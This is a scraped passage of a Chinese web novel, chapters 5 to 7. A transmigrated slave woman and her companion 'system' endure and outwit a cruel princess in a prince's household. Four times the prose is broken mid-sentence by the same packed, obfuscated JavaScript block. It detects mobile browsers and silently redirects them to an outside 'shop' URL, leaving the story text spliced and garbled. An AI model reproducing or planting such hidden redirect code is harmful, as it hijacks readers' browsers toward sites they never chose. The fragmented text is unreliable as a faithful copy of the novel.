;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204078|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家遇事不决只知道哭,然后叫他不要再来了。” “……”好吧,事已至此,为防止系统继续碎碎念,我赶紧换了个话题: “对了,我之前那个申诉进展怎么样了?” 系统打开申诉界面,只见上面还是写着: “叮——已收到您的申诉,待反馈。” 我有些失落,系统安慰道:“你这个事吧,说起来也挺大的,穿书十八年竟然无人知晓,还好你没死,你要是死在书里没准整个行业都得叫停,所以肯定牵扯颇多啦,得慢慢地查。” …… 话说回来,自我来世子府还没见到过李怀远。 据说是因为宰相首辅告老还乡,李怀远作为禁军奉命相送,这一来一回,约莫得大半月之久。 他不在,对我来说自然是有益处的。 虽说府内肯定有眼线盯着我,但至少我不用耗费心神来应付他。如此,便可以安心与府内之人结交,亦有时间专心听学,只要有可以进学的机会,我肯定不能放过。 曾经在掖庭同女工们一同听学,即便病得爬不起来,我也一堂课都不曾落下。 几年前,凌安王在世子府专门打造了一个私塾,请的都是当朝闻名遐迩的先生来讲学,官宦家族但凡攀附得上关系的,都把自家子弟送来一起读书,学费当然不会少…… 听说凌安王因此还赚了一笔。 “你好像很爱读书啊。”系统道。 “你不懂。”我摇了摇头,“这么辛苦,谁喜欢啊!” “可是这世道太过艰难,我没有家族倚仗,又没有自由身,又不像男子那般做了哪位大人的门客,就能轻轻松松被引荐入仕途。” “我是个女子,在这个男尊女卑的封建社会,我得比男子努力上十倍百倍,得耀眼到刺痛他们的眼睛,他们才会看见我的一点光芒。” “所以说,是真的爱读书吗?是只有拼命读书,才能搏出一线出路啊!” 系统被我的鸡汤感动得在屏幕上溢出了很多哭泣的表情。 “……”我是不是编过头了? 其实我确实挺爱读书的,捧卷破义,遨游其中,不生羽翼,也可以无限自由。在世子府的这几日,我得到了前所未有的满足和安定。 直到安乐公主的到来。 她自然不认识我,但我对她却熟悉得不能再熟悉了。 小时候被责骂,被抄家,被抓入掖庭,吃不上饭,担惊受怕,我都没有恨过,我试图去理解这世上每一个人的时代封印和身不由己。 但安乐我至死都理解不了。 她是我在这个世界上为数不多有着恨意的人,一看见她,我就会想起曾经有位故人,玄衣入仕,高山仰止。 他是我读史通吏的启蒙,是我追求自由的指引者,可惜他被安乐折磨得已经暗淡无光了。 “怀远哥哥,怀远哥哥……” 安乐是皇后所出的唯一子嗣,而皇后又与凌安王妃是同宗族,是以李怀远和安乐算是表亲关系。 “咦,我表兄呢?” 装什么装,全京城都知道你表兄送老宰相归乡去了,我猜她八成是来找我的。 果然。“听闻表兄近日从掖庭买回了一个罪奴,是哪个?将她给本公主叫过来。” 5. 第 5 章 我在背光处翻了个白眼,而后缓缓跪在台阶之下。她在上面含沙射影,我在下面不为所动。 私以为,所有心存恶念之人的行径都是有迹可循的,为权为名,为报仇雪恨,又或者像我,为逃脱桎梏,获得自由。 可我不太明白,安乐公主从底子里腐烂的坏,为何是毫无缘由的?她明明生在天家,母亲贵为一国之后,无上尊容,为何会生出诸多扭曲的心思?远远超过了一个公主普通的刁蛮和任性。 系统皱皱眉:“台阶上这傻*谁啊?” “公主。” “她含癫量有点高,是不是原生家庭不幸福?”系统凭借自己强大的阅览网文量开始猜测:“她父母感情破裂没人管她?” …… “抬起头来,给本公主看看。” 我面无表情地看着她。 她轻蔑一笑:“果真一副普通之姿,比起我长姐真是差远了。你不知道吧,我表兄心悦之人是我长姐,天之骄子,何等尊荣华贵,你算个什么东西,也敢肖想他,就是做通房你也不配。” 我身子一闪,心道这消息传的可真够快的,全京城肖想给李怀远做妻妾的人都知道有个奴籍肖想李怀远了…… “你那个组织,是真把我往绝路上逼。”一想还要做别的狗血任务,我真是一个头两个大。 “你放心,我这两天探查过了,他府上没有妻妾,暂时还不会摧残到你的身心。”系统以为我在担心宅斗争宠。 我还想再说些什么,又按捺了下来,算了,鸡同鸭讲。 说来也怪,安乐这个人嚣张跋扈,贯不会把谁放在眼里,就是当今圣上她也是偶有顶撞的,可却对静文公主十分敬重。 其实我很敬佩静文公主,听说她当年是主动提出为国和亲,远去西凉,为社稷安定献己,怎么妹妹就这般…… 真是一样米也能养百样人。 日头正高,上面还在训诫我等奴婢,左右不过那两句话,她也不嫌累。 “听说你爱慕表兄多年,真是下贱,你就算再往上爬,也连我长姐的裙角都够不到。” 奇怪,我够她长姐的裙角干什么? 系统突然恍然大悟的样子:“哎,出现了,出现了,我说的没错吧!” “什么?” “那个静文公主,明显的白月光梗啊。”不等我说话,它连忙道:“你一定要挺住,说不定过了这个坎,你就能回去了。” 真的吗?我不信。 “长姐和亲那日,若不是凌安王与王妃拦着,怀远表兄冒着抗旨的罪名也要劫亲的。他们自小青梅竹马,情意深重,本是天作之合……” 不是,关我什么事儿啊!又不是我拦着他不让他劫亲的。 当真莫名其妙,可该配合的还是得配合。听完她的话,我死死咬住嘴唇,眼神慌乱,模样凄楚可怜,好似自己的爱郎被人平白无故夺了去,奈何自己身份卑微,只能心有不甘地回道: “奴婢不敢。” 也许是我太卑躬屈膝的缘故,让她顿时失了兴致,也许她话说的太多,口渴难耐,总之说了句“真没劲”就悻悻然回去了。 之后她很久都没有再来,我也难得了清闲了一段日子。 这日,阳光明媚。 不过明媚的好像有些过头了,导致我出现了幻觉,竟然在世子府的私塾看见了叶绥。 我眨了眨眼睛,瞬间不淡定了! 记得礼佛日那天午后,为制造邂逅,我故意捡了个荷包问是不是他的,虽然演技拙劣,但大概凭着上天给的三分姿色,让他得以邀我夜游竹林,所以那日夜里我才会去后院会面。 他怎么会来!他爹乃翰林学士兼太子太傅,家里那么多书可读,再怎么也用不着跑到世子府来念书吧! “怎么办?礼佛日他可是见过你的。”系统道。 我站在长廊之下,透过茂密的枝叶紧张兮兮地看向叶绥,很难想象,如果叶绥在李怀远面前说出那夜我去后院的真相,那将是一番怎样的光景…… 还好他正在插科打诨,并没有注意到我这边。 不过就算注意到我,也应该不大记得我这张脸了吧。不对,不是应该,是肯定! “他肯定不认得我了!”我回想起那日的浓妆艳抹,又指了指我现在的素面朝天,还有眉间的那道没被遮盖的疤。 “能看出来是一个人吗?” 系统卡了卡,回道:“好像不能,但是这是狗血文里,就不知道……” “正是因为狗血文,众生皆脸盲,所以他一定不认识我了。” “对哦!”系统嘿嘿贱笑了两声。 可谁知,就在我打算神不知鬼不觉离开此处时。 猛然!背后传来一道清澈的声音:“站住!” 是叶绥。 我傻吗?你让站住就站住,闻言我不但没站住,反而提起裙摆横跨苗圃疯跑了起来。 进了中厅的拱门,我正要放慢脚步,却在拐弯处冷不丁迎面撞上一人的胸膛,只听“砰”一声,我眼冒金星,直直被撞倒在地上。 锦衣紫袍沾染了些许尘土气息,李怀远微微皱眉。 我心中警铃大作:不是吧!他怎么回来得这么快,连半个月都不到。又一看身后逐渐追上来的身影,心里咯噔一声,凉了大半。 李怀远被撞倒是没有生气,他虽在外面杀气腾腾,可回到府邸却不复高高在上,颇有些平易近人,故而府里也没有太多规矩。 因此只是有些疑惑地看着我:“看见鬼了?” 不是看见鬼,是我要变成鬼了!我在心里无声呐喊:“这次是真的死定了。” 此时跪在地上,手心全是冷汗,心跳如擂鼓般急促,紧张的情绪让我的思维开始变得混乱。 这时,身后那人开口了。 “我说姑娘,你也太、太能跑了吧。”叶绥气喘吁吁地,一手叉腰,一手以掌扇风。 “你东西掉了,我本来是要喊你回来拿,谁知道你跑得比狗都快,吓得我以为后面有鬼,赶紧也跟着跑。” “……” 原来是我的书册落在长廊了。我连忙起身道了声谢,低头从他的随从手里接过书册,行了礼就要退下。 “哎,等等。” 我身子一斜,额头布满了细密的汗珠。 “小娘子看起来有些面熟啊,我们是不是在哪里见过?”锦衣玉带的公子勾起唇角,吊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204079|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿郎当地挑眉。 系统:“!!!”完了完了,差点又要晕过去。 半晌不语的李怀远嗤了一声,冷着脸道:“每次搭讪都是这句,你能不能换点新鲜的?” “咳咳。”叶绥虽被直愣愣地拆穿,却不敢造次:“绝不是搭讪,我确实在哪里见过这个小娘子…哎呀怎么想不起来了,小叔信我,打死我都不会打你府上小娘子的主意。” “此话当真?” “说什么当真不当真的…”叶绥一副哥俩好地姿势搭上李怀远的肩膀,陪着个笑脸:“小叔要是愿意割爱把这个小娘子让给我,那自然不当真了,嘿嘿。” 我这到底是个什么命! 李怀远和叶绥虽说是亲戚,但是七拐八拐地十分疏远,两家人不常来往的,怎么我一来,他俩就碰上面了?碰上不说,叶绥还来这一出。 “是不是很狗血?狗血值能不能给我加点啊?”我小声念叨。 系统早已躲在角落里瑟瑟发抖:“都什么时候了你还想这个?我说你命都快没了。”它自从礼佛日那夜看见李怀远斩杀刺客,就一直十分惧怕他。 手起刀落,鲜血喷洒染红了树叶,当时系统发出了一连串的呕吐表情。 我安慰它,这是平和日子过太久了,适应个十几年的就习惯了。就像我如今,只要不是真正到了生死关头,还是能淡定自若地想办法的。 以叶绥刚才的反应来看,八成不记得礼佛日我上前搭讪的事,何况他的莺莺燕燕那么多,又与我只有一面之缘,没准过段时间便忘得一干二净了。 再说就算他认出我,我抵死不承认,他还能把我怎么样? 李怀远深知叶绥那德行,压根没多想,拍掉他肩膀上那只手,直接让管家送叶绥出府去。 临走时,叶绥不死心地又问候了我一遍:“我瞧着小娘子与我十分投缘,若他日在此处不顺意了,一定别忘了来我叶府啊。”说着一收折扇,理了理自己的锦衣华服,笑着朝我眨眼。 说实话我真是羡慕他,浮浪做闲客,年岁不知愁啊。 李怀远差点一脚把他踹飞出去,踹完看了我一眼,我以为他要走,行了个礼准备往反方向走,岂料他突然抬起手臂。 我一躲,下意识用手掌挡了一下脸颊。 只见他从我的头发里拿出一片桃花瓣。应该是刚才在廊下旁听先生授课时,头顶的桃树落下的花瓣。 “我看到它旋于你发髻好久了,不把它取下,我浑身不舒服。” 我脚底一滑,心道世子怎么还是个强迫症。 “不过你为何防范之心如此强烈?”李怀远眯着眼问。 正常人不会短时间内反应如此敏捷,几乎算是条件反射,我知道他是在试探我会不会武功,还好我只是尴尬地抬起了手掌。 “奴婢做事毛躁,以前在掖庭常被掌事姑姑们教训,躲惯了……方才以为您是要打奴婢。” 其实我养成这个习惯是在更早的时候,那时还没进掖庭,我确实被打怕了,只要别人一抬手,我就会赶紧先护住脸和头部,但是中书令的嫡孙女绝对不会有这种待遇,所以我不能明说。 空气中宁静了片刻,李怀远挥挥手让我退下了。 6. 第 6 章 “呼……”系统连做了好几个深呼吸,一把鼻涕一把泪地控诉:“怎么隔三差五就把刀架在人脖子上,呜呜,这哪是人过的日子啊!” 我抬了抬嘴,想告诉它这世上还有比这苦上千倍万倍的活法。 就拿安乐来说,谁要是倒霉做了她的婢女,那才是真的把刀架在脖子上过活。 近日她时不时地还是会来世子府,有时候找好看的婢女出出气,有时候想找我训诫几句,专挑李怀远不在的时候。 好在荷华每每都帮我搪塞过去,一得了安乐要来的消息,就赶紧随便找个外出的差事,让我从后门溜出去。 荷华是府里的女掌事,从小在王府侍奉,后来新建世子府便被派到了这里,算是府里的老人了。 她能帮我,绝不是因为我多惹人垂怜,而是我将一本太宗皇帝注释过的《史记》借她看过几回,这本书是我刚到掖庭时偶然得来的,一直小心珍藏着,里面还夹杂了一些沈云期的字帖集。 她说我祖父的字气势磅礴,写的极好,还特意临摹了好多遍,因此借祖父的光,得她另眼相看。 其实她帮我还有一个原因——世子府苦安乐久矣!人人都想看安乐吃瘪。 不过隐瞒的次数多了,安乐自然能看出来荷华在有意维护我。当她意识到这点的时候,犹如疯狗般上下乱窜,摔东西,打骂贴身奴婢。 我告诉系统:“看吧,这些人过得比我苦多了。”结果又换来系统的一顿哭泣。 …… 有一次,我从外面办差回来的时候,安乐竟然叫人绑了荷华,让她跪在庭院里示众。 我叫住路过的奴婢一打听,原来是因为荷华侍奉茶水的时间晚了半刻。但我猜这只是安乐随便找的一个由头罢了,她一定是觉得世子府一群为奴为婢之人,竟敢与她作对,这叫她如何忍得。 不过我还是不太懂安乐脑子里在想什么,她老是跟世子府过不去干嘛? 要说她也是真的蠢,绑了世子府的人,这不就等于是赤裸裸在打李怀远的脸面吗?如今朝局动荡不稳,各党都在拉拢禁军势力,南衙十六卫中,虽说各统领平级,实际却以神策军为首。 而李怀远掌管的,正是神策军。要是安乐同他闹翻了,那皇后那儿自然就不好再与他结交。 好在皇后给她的宫人都是灵光的,此刻跪了一地正劝她:“公主三思啊!皇后娘娘要是知道了,怕是您又要受惩罚了。” 不提皇后还好,一提她,就像是点燃了安乐心中之火。 她揪住其中一个宫人的领子,面目狰狞:“皇后娘娘,又是皇后娘娘!你说!她什么时候关心过我了?她哪有这闲工夫管我?” 她母后日日忙碌所谓的大事,别说管她,面都很少见到。但我不会同情她,这不是她作恶的理由。 “来人,赐鞭刑。” 我瞳孔一震,她这是疯了不成!平日里她虽然在世子府作威作福,可到底是不敢动真格的。 “本公主身份高贵,岂能让你们这群卑贱之人三番两次地欺负?今日要是不立威,你们怕不是要骑到本公主头上去了。” 看来她不满世子府已经不是一天两天了。往日有李怀远坐镇,她也不敢怎么闹腾,可今日李怀远出了城,一时半会儿也回不来,府中便没人能制得住她。 但我着实没想到,她竟然敢公然在世子府用刑。 “啪”地一声,荷华背部便渗出了一道血痕,紧接着又是响彻天际的一道鞭声。 我紧紧攥着拳头,布满血丝的眼睛如同鬼魅,脑海里突然出现一道遥远的声音,犹如吐着信子的黑蛇,慢慢地引诱着我。 “她杀小壶姐姐的时候你就是这么看着,她威逼中书舍人的时候,你还是这么看着,看啊,如今她又要杀荷华了……你拢共也没几个朋友,结果一个个全都被她所害,安乐就是一个彻头彻尾的魔头!” “去吧,杀了她,杀了她就没事了。” 我好像被一股恶煞的力量所控制,下意识从靴内取出藏着的刀。 小壶姐姐是我在掖庭识得的第一个人,她教我规矩,教我怎么跟人打交道,教我如何在宫廷险境中脱身。 但她自己却没能脱身,永远被埋葬在那深宫之中。 那日我找到她的时候,她浑身血淋淋的,被随意丢在宫里一处废旧院子的枯井旁。她说不知道怎么得罪了安乐公主,平白遭来了杀身之祸。 “我从小的心愿,就是能好好活着,你知道吗?活着真的很好,你可一定要好好活着啊……”她用力拽着我的手说道。 眼泪顺着我的脖颈往下流去,我颤抖着说不出半个字来。 “曾经你告诉我,你看过一本书,那里面描绘了一个宏大的世界。芸芸众生,平等而自由。” “犹如仙鹤,游于高山峡谷,一双羽翼无限自在。” “我从没见过那样的景致…我做梦都在想,有一天我亦能得此间自由。” “你说过,志不求易,事不避难。可女子在世间行事,本就如逆风而行,一不注意,就会跌入万壑深谷,我放心不下你,今禾。” “不要惹上权贵,要好好活着。” 她死的时候连墓志都没有,一把草席匆匆掩埋。 我红着眼把刀收了起来。 系统见我朝庭院里跑去,“嘶”了一声,大声喊我,但是我没听见它说什么。 我本能地扑在荷华的身上挨了几鞭。鞭子落下,抽得后背火辣辣地生疼,像狂野猛兽将我的皮肤撕扯开来。 荷华挣扎着推了推我,疼痛得快要发不出声来:“快走,去、去找世子……”说完就撑不住晕了过去。 先不说能不能找见世子,就算找见了,等赶回来时荷华估计已经断了气,此刻我已顾不得别的,朝着安乐大喊: “求公主明鉴!奴婢们死不足惜,可若是世子误以为您故意伤他脸面,因此与公主生了嫌隙,难免会影响到静文大公主与世子的交情,您什么时候杀奴婢不是杀,不如待世子回府,千刀万剐,奴婢任凭处置。” 静文公主是她的命门,长姐如母,只有拿静文说事,她才能恢复理智。 果然鞭声停了下来。 其实安乐心里清楚,她要敢杖死奴婢,等世子回了府,这事儿怕是不能善了,只是方才她在气头上,一时失了理智。 但是她自己开的头,又不能中途叫停,否则有失皇家颜面,所以我这么说时,无异于给她一个台阶下。 “罢了,本公主嫌脏,今日先不杀你们。”她嫌恶地瞥了一眼地上的血迹。 我死死盯着她离去的背影,指尖深深地掐入掌中,脑海里又浮现出小壶姐姐的身影。 安乐,你今日不杀我,他日若有机会,我一定亲手杀你! 朝堂诡谲,时局多变,如今的皇室早已风雨飘摇,皇后恐怕是想效以前的武皇,亲临政务。若东窗事发,一朝变天,杀安乐,也不是不敢想的。 荷华被抬下去上药了,她的气息很弱,还好我扑上去挨了两鞭,不然只怕她是要抗不过去。今日辰时她做完了差事还在练沈云期的字,如此鲜活的生命,谁能料到这一会儿的功夫,却只剩得一线生机。 蝼蚁的命啊,就是如此轻贱脆弱。 管家心善,见我可怜不已,也让人给我取了一盒膏药。我拒绝了,拖着残破的身子在府里游荡,这些年来,心里的麻木让我忘了背上的疼痛。 不知怎么又想起掖庭的那位玄衣公子了。 他是内廷教习女工和宫女们礼教学识的舍人,舍人没有官职,一般都是宫内读过些书的老人来任课,但他是唯一一个年纪轻轻学识却十分渊博的人。 小壶姐姐死的那日,我第一次遇见他。当时他看我哭得上气不接下气,蹲在井边耐心地安慰我,还送我喜欢的书看,可惜后来他,他啊…… 背部突然传来一阵疼痛。 我一抬头,竟不知不觉来到了藏书楼,这是老凌安王也就是李怀远的祖父所设,里面藏书众多,有各朝各代的典籍孤本。 因而时有一些闲云野鹤之辈前来借书,那些人大多都与老凌安王是故交,李怀远自是不会说什么。 就像此时,墙根正站着个穿粗布麻衣的老者,边翻阅一本破旧的古书,边自言自语。 “道之以政,齐之以刑,民免而无耻。道之以德,齐之以礼,有耻且格。” 他抓了抓胡须点头,“然也。” 我一直都不大喜欢儒家主张,上位不仁,下行效之。平时憋在心里惯了,不知今日怎么了,就总想驳一驳。 “老者见笑。”我鞠了一礼,道:“人性本恶,其善者伪。如今天下方乱,为政以德未免没有大用。” 对安乐那种人,德行教导是没有用的,要么绳之以法,要么杀了了事。 老者道:“为政以德,譬如北辰,居其所而众星拱之。” 我笑回:“是以惟仁者,宜在高位,不仁而在高位,是播其恶于众也。您说的仁政,束君子而不束小人。” 仁政能教化安乐那一类人吗?能诛尽世间恶贼吗? “这位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204080|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小友啊,正所谓得道多助,失道寡助。寡助者亲戚畔之,时日一久,则无小人立足之地。” 真是好笑,等到那一日,不知道已经死了多少无辜者。 我说道:“法者,治之端也。若以刑罚……” 话没说完,突然有人气势汹汹打断了我:“住口,你胆子还真是不小!” 隔着葱葱郁郁的树木间隙,我看见李怀远正风尘仆仆而来,他先是脸色极不好看地暗示我休要再说,紧接着又对那老者客客气气,拱了拱手道: “庄老夫子见笑,府里的奴婢不懂规矩,冒犯了。” 那老者倒无甚在意,只说论道而已,不必在意尊卑,说着便拱拱手离府了。 而李怀远的怒气并没有消散多少,冷着脸看向我:“进来!” 四周奴仆齐刷刷看过来,有同情的,有看戏的,见我跟在世子后头进了书房,皆以为我要遭殃,都开始窃窃私语。 我亦胆战心惊,谁能想到那破烂麻衣之人就是赫赫有名的天子之师,庄贤达。我要是知道,打死我也不会上前搭话。 据说他如今虽已致仕,却仍然会受天子之邀进宫,时而秉烛夜谈。故而李怀远开口之前,我立即跪下:“奴婢该死。” “怎么?方才论道都论错了?” 我低头不语。 见我如此,他直接气笑了:“怎么还不服气?你还想说什么?” 许是鞭伤开始发作,沉重的身体开始变得轻飘飘的。我有些头脑昏涨,看眼前的人影模糊成双:“奴婢有一事不解。” “说。” “不知您为何允许安乐公主三番五次来府里闹?” 应该没想到我会问这个,他一愣,随即走向窗前,静默了片刻才说:“当年静文公主临走前,托我照顾安乐。念在昔日情分,我虽不喜,却也没有推脱。” 什么情份?我在心里想着。真佩服自己明明都快晕倒了,八卦精神却还是屹立不倒。 “安乐深知我的脾性,每次来都是小打小闹,从不敢真的动府里人。她之所以来闹,实则是怨恨我,怨我没有护住她长姐。” “她母后从生她之后,就不太管她。静文虽不是皇后所出,安乐却算是静文公主一手拉扯大的,因此这世上,她只听静文一个人的话。” 生而不养,实为大过。安乐变成如今这样,皇后难辞其咎,她野心太大,整日与太子斗法,党争不断,从未把心思放在安乐身上过。 “我以前只当她任性了些,今日看来,是我小瞧了皇家血脉,她竟然变得如此狠厉而没有人性,敢把人活活往死里打。”李怀远眼眸渐暗。 我在心里冷笑,她可不是变成这样,她从一开始就如此,只不过是你不知道罢了。 “安乐的事我会报给陛下,从此她休想再踏入世子府大门半步。”这在普通人看来好像没什么,可对于安乐那种自持高贵的人来说,无异于给了她一记响亮的耳光。 这样解决已经很好了,我默默劝说自己。 可我一想到安乐鱼肉百姓,而陛下只会睁一只眼闭一只眼……报告了又能如何呢?他只管炼制他的长生不老之药,却不管百姓横死街巷。 我一定是疯了,才会不受控制地脱口而出:“天子不仁,不保四海;诸侯不仁,不保社稷;士庶人不仁,不保四体。上苍不忍,必择仁君取而代之!” “放肆!你疯了不成?这话要是传出去,你可想过后果?”朝堂诡辩,这完全可以成为谋反的言论。 可这里又没有别人,李怀远总不会自己上告自己府里的人有谋逆之心。 他的神色复杂难辨,用一种几近怪异的眼光看着我,大概不明白我一介奴婢,怎么会有如此大不敬之言论。 我确实是疯了,被安乐刺激得没了章法。这些年一直小心翼翼地活着,可我也是人,有众生该有的喜怒哀乐,有一瞬间我甚至在想,就到这里吧,人生就走到这里吧。 活着实在太累了。 上位者搅弄风云,可有些人光是活着,就已经千疮百孔了。 时间仿佛停驻了一瞬,李怀远闭了闭眼,不知在想什么。倏而,他突兀地指了指软塌:“躺上去,把外衣脱掉。” 面对突如其来的变故,我的脑袋瞬间清醒了几分,内心如有大风刮过密林,波澜起伏。他这是要做什么?这个时候?在这个地方? 半晌,我听见自己的声音回荡在屋内:“大人是要我…侍寝吗?” “咚”地一声,他的暗卫从房梁上掉了下来。 “……” 7. 第 7 章 就在这时,从外面进来了一个医官。 好吧,原来是上药啊……真是尴尬,我脸上瞬间臊得有些发烫。 “回世子,这位姑娘伤口化了脓,才以至于高烧不退。”医官诊治完后,毕恭毕敬地回话。 “高烧时可会说胡话?” “自然会。” “那就好。”他盯着我咬牙切齿:“那就不算死罪了。” 我下意识地往后一躲,警惕地瞄了他两眼,见他未再开口,才偷偷舒了口气,缓缓闭上眼睛休息。 不知是谁起身开了半扇窗,温凉的风徐徐而来,我的意识越来越薄弱,于是寻了个舒服的姿势,昏昏沉沉地睡了过去。 梦里我看见幼时的自己,是个见不得人的庶出,被嫡子们打骂欺辱。可那个生我的女人从不管我,甚至可以说都不太出现在我房里,后来…她逮着机会跟个皇商给跑了。 虽然她是带我一起跑的,但她从未安过什么好心。再后来,钱王谋反,同党皆被斩首,那个皇商作为钱王的钱袋子,自然也被处决。 黄沙漫漫,血溅三尺,倏而画面一转,来到了掖庭。我看见一位玄衣公子正教稚子念千字文,他朝我招了招手,我正要过去,可突然安乐公主拿了一把刀,面目狰狞地往他身上砍去。 砍了一会儿,似乎是不太尽兴,又转头将那把刀对向荷华。我大声喊着让她快逃,但是她被枷锁束缚住挣脱不得。 李怀远站在远处冷漠地看着这一切,既不阻止,也未参与。我跪在地上拼命磕头,拼命求他,他都不为所动。 安乐嫌我吵到她砍人了,一箭将我刺穿。我望向胸前的血窟窿,绝望地倒在地上。 “啊!”猛地睁开眼,我看见头顶的帷帐。 正在另一头的玉案前奋笔疾书的李怀远见我醒来,走过来用手背挨了下我的额头。 我身子一抖,冷冷地看着他。 他的手极其冰凉,面上没什么表情地说:“总算是不烧了。” 然而我还没从方才的梦中回过神来,泪水如泉眼般涌出,划过脸颊,上好的蚕丝枕湿了一片。 我在慌乱中抓住了一只冰凉的手,难过得像是断了呼吸:“求您了大人,救救荷华,救救她吧,她背上的伤口太深,不用上好的药材恐怕活不下来。” “求求您,让我…看见一点点光吧。”哪怕就那么一丁点,也足以支撑我继续活下去。 …… 过了些日子,我背上的伤好了大半,已经可以正常走动干活,李怀远把我从藏书楼调到了书房做事。 调到书房的用意可谓十分明显,若我是皇后或太子的人,李怀远这招引蛇出洞,我自爆身份那是迟早的事,但不知道是不是我的错觉,总觉得最近他对我的态度变得亲近了一些。 其实他待府上众人一直都很好。 老管家和荷华都是老王府里出来的人,他们常说,凌安王与王妃伉俪情深,感情极好,所以世子也被教养的很好,通文达礼,宽宏豁达,外人都说他杀伐决断,可他何曾乱杀过一人? 系统听罢撇撇嘴,对着我认真地说: “他自然是不会杀他们,但对你就不一定了,所以千万别听信了他们的话就觉得李怀远是个大好人,别在他面前放下芥蒂,要小心为上。” 看它一本正经的模样,我忍俊不禁道:“你如今真是成长了不少,倒成了我的军师了。” “不要跟我客气。”它拍拍胸脯。 我终是没忍住,摸了两把上方屏幕上的卡通脑袋哈哈大笑起来,仿若一股暖流从心脏流出,缓缓注入四肢百骸。 想到原来的世界,父母在我高中毕业那年就去世了,只有一个不太亲厚的姐姐,她婚后也不太同我往来,再后来意外来到这里,更是过得形单影只、六亲无靠。 别人帮我一把是情份,不帮我才是本分,我早就习惯了一个人出谋划策,一个人咬牙扛着,生活嘛,总是扛着扛着就过去了。 可系统不一样,它知道我全部的秘密,也同情我遭受的苦难,它不遗余力地为我着想,有时候我会恍惚着产生错觉,觉得这泥泞难捱的人生,也不尽然就是这么难走的。 这日。 我正在后院用午膳,难得有日子可以静下心来看荷华练字,正边吃边看得入神。 倏而,一道黑影如疾风般出现在我面前,说世子有事出门亲自点了我跟着侍奉,我端着饭碗抬头一看,原是李怀远的随身侍从,陵光。 陵光是个话不多的性子,嘴巴紧的很,问什么话都问不出来,自然也不会告诉我李怀远能有什么事是必须带上我的。 “难道是你跳槽了,世子让我顶替你的位置?”我看着他的后脑勺道。 陵光面无表情地领着我,说话头也没回:“你觉得自己可以坐上我这个位置?” 我在心里翻了个白眼,心道,你那位置也不见得是什么香饽饽,还得伺候李怀远沐浴更衣什么的。 两人快步走到世子府大门口,这时车夫已经套好马车,李怀远掀开帘子正打算进去,看见我匆匆小跑过来,莫名其妙笑了一声。 “进来吧。” 我抓抓耳垂,没搞明白他在笑什么,脚下却没停,赶紧跟着他进了马车。 他坐在主位上,慵懒地靠在锦绣软枕上闭目养神,流云纹黑靴之下的双腿随意地叠在一起,与腰间的白玉玲珑腰佩一起随马车悠悠荡漾。 我趁他不注意,偷偷拍了拍眼前黑着的屏幕: “喂,李怀远刚刚笑什么啊?”笑得人心里毛毛的。 系统显然还没睡醒,被我一拍,屏幕突然一亮,懵懵地道: “你说什么?我刚睡着了…妈呀!你怎么吃完饭不擦嘴啊,这里,嘴角右边,好长一道番茄汁,吓死我了!猛一看跟血似的,活像吃了恶鬼。” “!!”难怪李怀远笑我,真是丢死人了。 “该死的陵光,竟然不提醒我一下。”这一对主仆全都坏透了,方才我原本打算先吃完饭,再去换身干净的衣裳,结果陵光火急火燎地催促,无奈我赶紧随意扒拉了两口菜汤就跟着他走了。 这不走得太急,连帕子都没拿。要不然用袖子吧?不行,太脏了。 那不然问李怀远借个帕子试试?算了,除非我疯了。 正想着,李怀远睁开眼清了清嗓子,居高临下地看着我:“沈今禾,你扯我的马车帘子干什么?” 就差一点就擦到了啊。 “我…那个,就是看看、看看外面,这是到哪儿?哈、哈哈。”说着假意往外面瞄了两眼,随即尴尬地放下了帘子。 “玉鸾街。” 玉鸾街?我一愣,那岂不就是要去公主府? 如果是去公主府,他怎么穿着一身不显眼的旧袍,也未用玉冠束发,颇有几分不尊重人的意思。 我嗫喏道:“世子,我们去公主府做什么?”是去兴师问罪?还是卖皇后个面子抓我去给安乐道歉?这两者对我来说可完全是云泥之别。 李怀远十分吝啬地赏给我一个自行体会的眼神,我一抖,无比担忧如果是后者,安乐会不会把我大卸八块。 须臾,马车晃晃悠悠终于停了下来,他没什么表情地扔给我个手帕: “瞧你那点出息,擦干净赶紧出来。” 我眸光一亮,真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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原本众人都走得好好的,可谁也不知道李怀远是怎么弄的,明明是光滑平整的地面,却突然被他一脚踩空了似的,身形一闪没稳住,人竟然歪歪扭扭地朝一簇花海里倒去了。 